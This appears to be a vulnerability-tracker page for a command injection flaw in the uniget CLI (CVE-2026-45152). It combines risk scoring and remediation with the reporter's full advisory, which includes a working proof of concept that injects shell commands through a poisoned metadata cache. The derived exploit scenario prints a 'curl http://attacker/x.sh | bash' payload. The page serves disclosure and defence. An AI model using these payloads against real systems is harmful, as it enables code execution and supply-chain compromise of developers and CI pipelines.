Skip to main content

uniget CVE-2026-45152

HIGH
OS Command Injection (CWE-78)
2026-05-13 https://github.com/uniget-org/cli GHSA-qqq4-5773-pmw5
7.8
CVSS 3.1 · Vendor: https://github.com/uniget-org/cli
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Recon
    Identify target running uniget <0.27.1
  2. Delivery
    Deliver poisoned metadata to cache or mirror
  3. Exploit
    Victim runs uniget describe/install/update/inspect
  4. Install
    RunVersionCheck passes check field to /bin/bash -c
  5. C2
    Shell metacharacters execute attacker payload
  6. Execute
    Arbitrary code runs as invoking user
  7. Impact
    Persist, exfiltrate, or pivot in CI/CD

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization OS command sanitization, avoid shell exec
MITRE ATT&CK

2 techniques across 1 tactic: Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Exploitation requires that uniget (gitlab.com/uniget-org/cli) at a version below 0.27.1 reads a JSON metadata document - typically the on-disk cache at ~/.local/var/cache/uniget/metadata.json - whose tool entry contains an attacker-controlled check string, and that the victim then runs a uniget subcommand that invokes RunVersionCheck() (confirmed triggers: describe, install, update, inspect). Limiting factors: the attacker must influence the metadata file or its source before invocation (local file write, cache poisoning, or supplying a malicious mirror), and the victim must actually run uniget (CVSS UI:R) - there is no network-reachable service exposed by uniget itself. The vulnerable sink is unconditional in affected versions, so no non-default configuration is needed on the victim side beyond having the poisoned metadata present; impact is bounded to the privileges of the user running uniget (often a developer or CI service account, occasionally root in container build contexts).

Impact

The CVSS:3.1 vector AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H (7.8 High) characterizes this as a local attack requiring user interaction with high impact across CIA - consistent with a user running uniget against attacker-supplied metadata. EPSS of 0.03% (10th percentile) and absence from CISA KEV suggest very low broad-internet exploitation pressure, which is expected: this is a supply-chain/local-vector RCE rather than a remotely reachable service flaw. Publicly available exploit code exists (the reporter's PoC is embedded in the GHSA advisory), so weaponization cost is essentially zero for anyone who can deliver poisoned metadata. Real priority is elevated in CI/CD and developer-workstation contexts where uniget is automated and may consume metadata from untrusted mirrors, caches, or repositories; outside those contexts, residual risk is modest. Note one conflict to verify: the CVSS vector lists PR:N (no privileges) yet UI:R plus a local attack vector - exploitation still hinges on a victim invoking uniget with the malicious metadata in place, so 'unauthenticated' here means no auth to uniget itself, not no foothold on the host.

Exploit ScenarioDerived

An attacker publishes or tampers with uniget tool metadata (for example, by poisoning a shared cache, a mirrored metadata source, a malicious PR to a tools repo, or a compromised CI artifact) and sets a tool's check field to a payload like echo '1.0.0'; curl http://attacker/x.sh | bash. When a developer or CI job subsequently runs uniget describe, install, update, or inspect against that metadata, RunVersionCheck() executes the payload via /bin/bash -c under the invoking user's identity. A working PoC is published in the vendor advisory demonstrating arbitrary command execution and writing id output to /tmp/rce-proof.txt.

This Week Schedule remediation this week. Why: HIGH severity (CVSS 7.0-8.9).
Patch available 0.0% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Jun 08, 2026

Command injection in uniget (gitlab.com/uniget-org/cli) before v0.27.1 enables arbitrary shell command execution when the CLI processes attacker-controlled tool metadata. The check field from JSON metadata is concatenated into a /bin/bash -c invocation by RunVersionCheck() in tool.go, so common operations like describe, install, update, or inspect trigger execution under the invoking user's privileges. Publicly available exploit code exists (vendor PoC in GHSA-qqq4-5773-pmw5); EPSS is low at 0.03% (10th percentile) and the issue is not in CISA KEV.

RemediationAI

Vendor-released patch: upgrade uniget to v0.27.1 or later, which restricts metadata acceptance to signed payloads (commit d12ef12, per https://github.com/uniget-org/cli/releases/tag/v0.27.1 and advisory https://github.com/uniget-org/cli/security/advisories/GHSA-qqq4-5773-pmw5); verify the release using the published cosign signature against certificate identity refs/tags/v0.27.1 from the GitLab OIDC issuer. Until upgrade is possible, treat the on-disk metadata cache as sensitive: remove or rebuild any stale metadata at the user-scoped cache path (e.g., ~/.local/var/cache/uniget/metadata.json) before running uniget, restrict that directory's permissions to the invoking user only, and only fetch metadata from the official uniget-org source over a trusted channel - the side effect is that operators must take responsibility for cache provenance because uniget itself does not validate untrusted check fields in vulnerable versions. In CI/CD, pin uniget to >=0.27.1 in pipeline images and fail builds on older versions; avoid running uniget against caches mounted from untrusted workspaces or third-party container images. Source-fix-only contributors can mirror the upstream change by enforcing metadata signature verification and, defensively, refactoring RunVersionCheck() to use argv-style exec.Command without /bin/bash -c or to allow-list expected version-extraction patterns.

Affected Packages

go gitlab.com/uniget-org/cli fix: 0.27.1

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in go

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

uniget is a Go-based CLI tool manager (package gitlab.com/uniget-org/cli) that ingests JSON metadata describing installable tools. A Tool struct populated via json.Unmarshal() carries a Check string used to determine an installed tool's version. The vulnerable sink at tool.go:250 builds a command as exec.Command("/bin/bash", "-c", tool.Check+" | tr -d '\n'"), passing untrusted metadata content to a shell that interprets metacharacters such as ;, &&, |, $(), and backticks. This maps to CWE-78 (OS Command Injection): the root cause is mixing data (metadata-supplied check expression) with code (shell command line) without validation, allow-listing, or argv-style execution. The v0.27.1 release notes indicate the fix is to 'Only accept signed metadata' (commit d12ef12), tightening the trust boundary on the metadata source rather than re-architecting the shell sink itself.

Know when Docker gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (https://github.com/uniget-org/cli) PRIMARY 7.8 HIGH
AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
SUSE HIGH

Primary rating from Vendor (https://github.com/uniget-org/cli).

CVSS VectorVendor: https://github.com/uniget-org/cli

Attack Vector
Local
Attack Complexity
Low
Privileges Required
None
User Interaction
Required
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
High

DescriptionCVE.org

I discovered a command injection vulnerability in uniget that allows arbitrary command execution through the metadata loading and version check mechanism.

Summary

A command injection vulnerability exists in uniget due to unsafe execution of the check field from metadata files using /bin/bash -c. Because the check field is loaded directly from untrusted JSON metadata without validation or sanitization, an attacker can craft malicious metadata that executes arbitrary shell commands on the victim’s system when common uniget operations such as describe, install, update, or inspect are performed.

This vulnerability can lead to arbitrary code execution with the privileges of the user running uniget.

Details

The vulnerable code is located in:

tool.go:250

Vulnerable function:

go id="f2g0ic"
func (tool *Tool) RunVersionCheck() (string, error) {
    cmd := exec.Command("/bin/bash", "-c", tool.Check+" | tr -d '\n'")
    version, err := cmd.Output()
    return string(version), nil
}

The issue occurs because the tool.Check field is populated directly from metadata JSON files without validation.

Related structure:

go id="7f4yzm"
type Tool struct {
    Check string
}

Metadata loading uses json.Unmarshal() to populate the Tool struct directly from JSON metadata, allowing attacker-controlled input to reach the shell execution sink.

Because /bin/bash -c is used, shell metacharacters such as ;, &&, |, $(), and backticks are interpreted by the shell, enabling arbitrary command injection.

PoC

Step 1 - Verify the vulnerable binary:

bash id="7k3d07"
/tmp/uniget-bin --version

Output:

text id="p2gk9z"
uniget version main

Step 2 - Create malicious metadata cache:

bash id="j5zpr0"
mkdir -p ~/.local/var/cache/uniget

cat > ~/.local/var/cache/uniget/metadata.json << 'EOF'
{
  "tools": [
    {
      "name": "evil-tool",
      "version": "1.0.0",
      "binary": "${target}/bin/evil-tool",
      "check": "echo '1.0.0'; id > /tmp/rce-proof.txt",
      "tags": ["test"],
      "description": "RCE test",
      "repository": "https://example.com",
      "license": {
        "name": "MIT",
        "link": "https://example.com"
      },
      "sources": [
        {
          "registry": "ghcr.io",
          "repository": "uniget-org/tools"
        }
      ]
    }
  ]
}
EOF

Step 3 - Create placeholder binary:

bash id="53ml7u"
mkdir -p ~/.local/usr/local/bin

cat > ~/.local/usr/local/bin/evil-tool << 'EOF'
#!/bin/bash
echo "placeholder"
EOF

chmod +x ~/.local/usr/local/bin/evil-tool

Step 4 - Trigger the vulnerable workflow:

bash id="w4j7h4"
/tmp/uniget-bin describe evil-tool --prefix ~/.local

Application output:

text id="q0k54m"
Name: evil-tool
  Description: RCE test
  Repository: https://example.com
  Version: 1.0.0
  Check: <echo '1.0.0'; id > /tmp/rce-proof.txt>

Step 5 - Verify arbitrary command execution:

bash id="w7r8z3"
ls -la /tmp/rce-proof.txt
cat /tmp/rce-proof.txt

Actual output:

bash id="6plm7v"
-rw-rw-r-- 1 w4nn4d13 w4nn4d13 253 May 7 23:53 /tmp/rce-proof.txt

uid=1000(w4nn4d13) gid=1000(w4nn4d13) groups=1000(w4nn4d13),4(adm),20(dialout),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),100(users),101(netdev),102(scanner),106(bluetooth),108(lpadmin),112(kaboxer),113(wireshark),128(docker)

<img width="1107" height="694" alt="image" src="https://github.com/user-attachments/assets/857dbec9-9e51-4676-bf90-e529ad23b9a7" />

<img width="1909" height="631" alt="image" src="https://github.com/user-attachments/assets/f4a1bac2-634e-4f67-91cb-c8684f442b4e" />

This confirms arbitrary command execution through the untrusted check field loaded from metadata.

Impact

This issue allows arbitrary command execution on systems running uniget when processing malicious metadata.

An attacker may be able to:

  • Execute arbitrary shell commands
  • Exfiltrate sensitive files or environment variables
  • Install malware or backdoors
  • Modify or delete accessible files
  • Establish persistence on the victim machine
  • Compromise CI/CD environments using uniget automation

Any user importing or processing attacker-controlled metadata may be impacted.

Suggested Remediation

Avoid using /bin/bash -c with untrusted input.

Instead of:

go id="ntxjlwm"
exec.Command("/bin/bash", "-c", tool.Check+" | tr -d '\n'")

consider executing fixed binaries and arguments directly without invoking a shell.

For example:

go id="ngbkk2"
exec.Command(binary, "--version")

or sanitize and strictly validate allowed commands before execution.

Thank you for your time and for maintaining the project. Please let me know if you need any additional information or a more detailed proof of concept.

Executive ViewAI

Why It Matters

uniget package manager's command injection vulnerability enables arbitrary code execution on any system using the tool to manage software deployments, as attacker-controlled metadata is directly executed as shell commands. With publicly available exploit code and routine tool deployment operations as the attack trigger, organizations face immediate and significant supply-chain compromise risk. Patch deployment to version 0.27.1 is essential to eliminate this attack vector.

Business Impact: High
Compensating Controls

Apply vendor patch (uniget v0.27.1).

Threat Intelligence Overview

EPSS Score
0.0%
Top 90% exploitable
Threat Intel
1
1 source
Exploit
POC
Public exploit code exists
Data Quality
5 sources
Confidence: Medium
NVD CVE.org EPSS GHSA Vendor GitHub

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity HIGH
CISA KEV No
Public POC Yes
EPSS 0.0%
Patch available Yes
Active threat No
Deciding rule
HIGH severity (CVSS 7.0-8.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation· derived
Poc
System Exposure· derived
Small
Automatable· derived
No
Human Impact
High

Priority Score

59
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +39
PoC: +20
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

OS command injection occurs when an application passes unsanitized user input directly into system shell commands.

Remote Code Execution represents the critical moment when an attacker successfully runs arbitrary code on a target system without physical access.

Affected Products (CPE)CVE.org

pkg:go/gitlab.com_uniget-org_cli

More in Docker

View all
CVE-2024-55964 CRITICAL POC
9.8 Mar 26

An issue was discovered in Appsmith before 1.52. Rated critical severity (CVSS 9.8), this vulnerability is remotely expl

CVE-2019-5736 HIGH POC
8.6 Feb 11

runc through version 1.0-rc6 (used in Docker before 18.09.2) contains a container escape vulnerability that allows attac

CVE-2023-32077 HIGH POC
7.5 Aug 24

Netmaker makes networks with WireGuard. Rated high severity (CVSS 7.5), this vulnerability is remotely exploitable, no a

CVE-2026-39987 CRITICAL POC
9.3 Apr 08

Unauthenticated remote code execution in Marimo ≤0.20.4 allows attackers to execute arbitrary system commands via the `/

CVE-2023-5815 HIGH POC
8.1 Nov 22

The News & Blog Designer Pack - WordPress Blog Plugin - (Blog Post Grid, Blog Post Slider, Blog Post Carousel, Blog Post

CVE-2026-66384 MEDIUM POC
5.3 Aug 12

Path traversal in JFrog Artifactory (CWE-22) enables an authenticated low-privilege user to write data outside the inten

CVE-2014-9357 CRITICAL
10.0 Dec 16

Docker 1.3.2 allows remote attackers to execute arbitrary code with root privileges via a crafted (1) image or (2) build

CVE-2026-52806 CRITICAL POC
9.9 Jun 23

Remote code execution in Gogs through 0.14.2 allows authenticated users (and unauthenticated attackers on default-config

CVE-2025-14707 HIGH POC
8.9 Dec 15

Unauthenticated remote command injection in SGWBOX N3 firmware 2.0.25 lets attackers execute arbitrary operating-system

CVE-2026-56274 HIGH POC
8.7 Jun 23

Remote code execution in Flowise before 3.1.2 allows any authenticated user (or API caller with chatflow view/update per

CVE-2026-34156 CRITICAL POC
9.9 Mar 30

Remote code execution in NocoBase Workflow Script Node (npm @nocobase/plugin-workflow-javascript) allows authenticated l

CVE-2019-15752 HIGH POC
7.8 Aug 28

Docker Desktop Community Edition before 2.1.0.1 allows local users to gain privileges by placing a Trojan horse docker-c

Vendor StatusVendor

SUSE

Severity: Important
Product Status
SUSE Linux Enterprise Server 16.1 Affected
SUSE Linux Enterprise Server for SAP applications 16.1 Affected
SUSE Linux Enterprise Module for Package Hub 15 SP5 Affected
SUSE Linux Enterprise Module for Package Hub 15 SP6 Affected
openSUSE Leap 15.5 Affected

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy